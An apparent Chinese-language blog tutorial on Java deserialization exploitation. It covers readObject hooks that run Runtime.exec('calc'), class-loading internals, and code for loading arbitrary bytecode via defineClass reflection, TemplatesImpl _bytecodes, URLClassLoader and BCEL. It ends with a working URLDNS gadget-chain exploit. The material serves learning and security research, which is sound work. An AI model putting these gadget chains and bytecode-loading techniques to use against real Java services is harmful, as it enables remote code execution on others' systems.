Java反序列化基础

JAVA反序列化

入口类的readObject调用危险方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// Student.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serial;
import java.io.Serializable;

public class Student implements Serializable
{
    @Serial
    private static final long serialVersionUID = 1L;
    private int id;
    private String name;
    public Student(){}
    public Student(int id, String name)
    {
        this.id = id;
        this.name = name;
    }
    public int getId()
    {
        return this.id;
    }
    public void setId(int id)
    {
        this.id = id;
    }
    public String getName()
    {
        return this.name;
    }
    public void setName(String name)
    {
        this.name = name;
    }
    @Override
    public String toString()
    {
        System.out.println("Student ID: " + this.id);
        System.out.println("Student Name: " + this.name);
        return null;
    }
    @Serial
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException
    {
        ois.defaultReadObject();  // 反序列化本质代码,用于执行反序列化的额外操作,这里是命令执行
        Runtime.getRuntime().exec("calc");
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Main.java
import java.io.*;

public class Main
{
    public static void main(String[] args) throws Exception
    {
        //Student demo = new Student(22172080,"zhuwenxiu");
        //serialize(demo);
        System.out.println(unserialize("ser.bin"));
    }
    public static void serialize(Object obj) throws Exception
    {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filePath) throws Exception
    {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath));
        return ois.readObject();
    }
}

ObjectInputStream 反序列化一个对象时,它会检查对象是否实现了 Serializable 接口。如果对象实现了 Serializable 接口,并且类中包含了如下签名的 private 方法

1
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException;

这里调用了Student.readObject从而弹出计算器

入口类参数中包含可控类,该类调用危险方法

条件

  • 入口类和可控类都实现Serializable接口,即都可序列化
  • 入口类重写readObject,可在反序列化添加其他功能
  • 数据类型宽泛,泛型有传对象的可能
  • jdk、通用框架自带,这样会产生通用的漏洞
  • 可控类调用了常见函数,如通过可控类调用不同类的同一方法

HashMap支持泛型,实现了Serializable接口,重写了readObject方法,又是jdk自带的类,是个能很好满足条件的类

类加载机制

加载 –> 连接 —> 初始化 —> 实例化 —> 卸载

类在初始化实例化阶段会调用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// Demo.java
public class Demo {
    private int id;
    private String name;
    public Demo() {System.out.println("无参构造");}
    public Demo(int id, String name)
    {
        this.id = id;
        this.name = name;
        System.out.println("有参构造");
    }
    @Override
    public String toString() {
        return "嗨嗨嗨";
    }
    static
    {
        System.out.println("静态代码块");
    }

    {
        System.out.println("示例初始化代码块");
    }

    public static void staticAction()
    {
        System.out.println("调用了静态方法");
    }


    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// Main.java
public class Main
{
    public static void main(String[] args) throws Exception
    {
        new Demo();  // 1
        print();
        new Demo(123,"zhuwenxiu");  // 2
        print();
        Demo.staticAction();  // 3
        print();
        System.out.println(new Demo());  // 4
    }
    public static void print()
    {
        System.out.println("----------------------");
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// output
静态代码块
示例初始化代码块
无参构造
----------------------
示例初始化代码块
有参构造
----------------------
调用了静态方法
----------------------
示例初始化代码块
无参构造
嗨嗨嗨

单独调用时有如下输出

1
2
3
4
// new Demo();
静态代码块
示例初始化代码块
无参构造
1
2
3
4
// new Demo(123,"zhuwenxiu");
静态代码块
示例初始化代码块
有参构造
1
2
3
// Demo.staticAction();    // 调用静态方法没有创建对象,不会调用初始化代码  若给静态属性赋值只会输出 静态代码块
静态代码块
调用了静态方法
1
2
3
4
5
// System.out.println(new Demo());
静态代码块
示例初始化代码块
无参构造
嗨嗨嗨

类在加载为对象的时候会调用静态代码块初始化代码块(初始化代码总是在构造方法之前)

Class.forName可通过参数指定是否初始化来决定是否执行初始化代码块

类加载流程

loadClass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// java.lang.ClassLoader
protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // 检查类是否已经加载
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    // 根据双亲委派模型将类加载请求委派给父类加载器
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        // 父类加载器为空,委托给BootStrap加载器加载
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // 如果未找到该类,则抛出 ClassNotFoundException
                }
                
                // 自定义加载方法,这里是通过调用findClass
                if (c == null) {
                    // 如果仍然没有找到,则调用 findClass 来查找该类
                    // findClass需要重写
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // 这是定义类加载器;记录统计数据
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                // 调用resolveClass解析类,将符号引用转换为直接引用
                resolveClass(c);
            }
            return c;
        }
    }

findClass

1
2
3
4
// java.lang.ClassLoader
protected Class<?> findClass(String name) throws ClassNotFoundException {
        throw new ClassNotFoundException(name);
}

ClassLoader.findClass并没有具体的实现,一般这个方法都是要重写的,定位到某个子类的具体实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// java.net.URLClassLoader
// URLClassLoader继承于SecureClassLoader,SecureClassLoader继承于ClassLoader,这里重写了findClass方法
protected Class<?> findClass(final String name)
        throws ClassNotFoundException
    {
        final Class<?> result;
        try {
            result = AccessController.doPrivileged(
                new PrivilegedExceptionAction<Class<?>>() {
                    // 实现 PrivilegedExceptionAction 接口的 run 方法
                    public Class<?> run() throws ClassNotFoundException {
                        // 将class文件路径的.替换为/变成完整的文件路径
                        String path = name.replace('.', '/').concat(".class");
                        // 使用ucp获取文件资源
                        Resource res = ucp.getResource(path, false);
                        if (res != null) {
                            try {
                                // 存在该class文件用defineClass加载
                                return defineClass(name, res);
                            } catch (IOException e) {
                                throw new ClassNotFoundException(name, e);
                            }
                        } else {
                            // 找不到class文件返回空
                            return null;
                        }
                    }
                }, acc);
        } catch (java.security.PrivilegedActionException pae) {
            throw (ClassNotFoundException) pae.getException();
        }
        if (result == null) {
            throw new ClassNotFoundException(name);
        }
    // 返回加载后的类对象
        return result;
    }

findClass可以简单理解为先进行一系列的判断,然后调用的defineClass,下面看defineClass的实现

defineClass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// java.lang.ClassLoader
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                         ProtectionDomain protectionDomain)
        throws ClassFormatError
    {
        protectionDomain = preDefineClass(name, protectionDomain);
        String source = defineClassSourceLocation(protectionDomain);
    	// 调用native标识的defineClass1,具体的细节是在C/C++中实现的,源码的查看部分也就到此为止
        Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
        postDefineClass(c, protectionDomain);
        return c;
    }

阅读文档可知defienClass可将字节数组转化为Class对象,defineClass是类加载的核心操作

总结

类加载一般情况下函数流程的后面都是loadClass —> findClass —> defineClasss,前面可能就是各种往上抛的父类;后面也有可能是loadClass —> defineClass跳过findClass,某些加载器是会这么实现的。不管怎么说类加载的实质就是defineClass,后面想要加载动态类只要看是否有调用defineClass即可。

类加载的两种途径

  • ClassLoader.defineClass
  • Unsafe.defineClass

加载class文件

Class.forName

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// Test_.java
package demo;

import java.io.IOException;

public class Test_ {
    static
    {
        try
        {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e)
        {
            throw new RuntimeException(e);
        }
    }
}

初始化类执行了静态代码块

Class.forName的实现中调用了Class.forName0,第二个参数传true默认默认进行类的初始化,所以会执行静态代码块

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package demo;

public class LoadCLass {
    public static void main(String[] args) throws ClassNotFoundException {
        //Class.forName("demo.Test_");
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        System.out.println(classLoader);  // 系统类加载器
        System.out.println(LoadCLass.class.getClassLoader());  // 本类加载器
        Class.forName("demo.Test_",false,classLoader);
    }
}
1
2
sun.misc.Launcher$AppClassLoader@14dad5dc
sun.misc.Launcher$AppClassLoader@14dad5dc

第二个参数设为false不会进行类初始化,因此不会执行静态代码块,系统类和本类使用的都是同一个加载器AppClassLoader

ClassLoader.defineClass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package demo;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadCLass {
    public static void main(String[] args)
            throws NoSuchMethodException, IOException, InvocationTargetException,
            IllegalAccessException, InstantiationException {
        // 反射调用ClassLoader.defineClass()
        ClassLoader systemClassLoader= ClassLoader.getSystemClassLoader();
        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);

        // 读取class字节码文件
        byte[] bytes = Files.readAllBytes(Paths.get("Test.class"));
        // 加载类,调用defineClass
        Class defineClass = (Class) defineClassMethod.invoke(systemClassLoader,"Test",bytes,0,bytes.length);
        // 初始化类
        defineClass.newInstance();
    }
}

主要步骤

  • 获取默认加载器
  • 读取字节码文件
  • 调用ClassLoader.defineClass

TemplatesImpl

TemplatesImpl的内部类TransletClassLoader的方法defineClass封装了ClassLoader.defineClass

TemplatesImpl.defineTransletClasses调用了defineClass

TemplatesImpl.getTransletInstance调用了defineTransletClasses

TemplatesImpl.newTransformer构造方法TransformerImpl调用了getTransletInstance,权限是public,可作为入口

TemplatesImpl.getOutputProperties中调用newTransformer,这里的权限是public,也可作为的入口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesImplTest {
    public static void main(String[] args)
            throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[] bytes = Files.readAllBytes(Paths.get("Test.class"));

        // 通过反射绕过一些if判断
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templatesImpl,"_name","test");
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());

        // 下面两个都能初始化类执行代码
        //templatesImpl.getOutputProperties();
        templatesImpl.newTransformer();
    }
    public static void setFieldValue(Object obj,String fieldName,Object fieldValue)
            throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,fieldValue);
    }
}

URLClassLoader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package demo;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test {
    public static void main(String[] args)
            throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        String URL_path = "C:\\Users\\26062\\Desktop\\个人文件\\SpringBoot\\unserialize\\target\\classes\\Test.class";
        // url路径可以使用不同的协议,如http jar file
        URL url = new URL("file:///" + URL_path);
        // 读取class文件
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});
        // 从class文件加载类
        Class<?> c = ucl.loadClass("Test");
        // 类实例化调用静态代码
        c.newInstance();
    }
}

BCEL ClassLoader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package demo;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class Test {
    public static void main(String[] args)
            throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        // 1.对恶意代码压缩成字符串
        // 获取Test_对应的JavaClass对象
        JavaClass jc = Repository.lookupClass(Test_.class);
        // 将JavaClass对象转换为字符串,true代表进行压缩
        String code = Utility.encode(jc.getBytes(),true);
        System.out.println(code);

        // 2.使用com.sun.org.apache.bcel.internal.util.ClassLoader
        // 对含有$$BCEL$$的class_name进行特殊处理并进行动态加载
        ClassLoader classLoader = new ClassLoader();
        // 根据class_name创建JavaClass,然后获取其字节码,最后用defineClass加载类
        Class<?> c = classLoader.loadClass("$$BCEL$$" + code);
        c.newInstance();
    }
}

源码中的具体流程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// com.sun.org.apache.bcel.internal.util.ClassLoader继承自ClassLoader,重写了方法loadClass
protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;
	
    // 查找哈希表中键class_name所对应的值
    if((cl=(Class)classes.get(class_name)) == null) {
      
      // 使用系统加载器加载类
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        // 检查class_name是否含有字符串$$BCEL$$
        if(class_name.indexOf("$$BCEL$$") >= 0)
            // 创建JavaClass对象,JavaClass是对.class文件信息的封装
          clazz = createClass(class_name);
        else {
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          // 从.class文件获取字节码
          byte[] bytes  = clazz.getBytes();
          // defineClass加载字节码到类
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

URLdns

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
HashMap<URL,Integer> hashMap= new HashMap<URL,Integer>();
URL url = new URL("https://www.google.com");

// 将URL的hashCode改为非-1的其它数
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,114514);

hashMap.put(url,1);

// 设为-1触发dns请求
hashCodeField.set(url,-1);

serialize(hashMap);
unserialize("ser.bin");

链条

HashMap.readObject —> HashMap.hash —> URL.hashCode —> URLStreamHandler.hashCode —> getHostAddress

getHostAddress能够进行DNS查询,可以根据查询的回显判断是否触发URLdns

使用 Hugo 构建
主题 StackJimmy 设计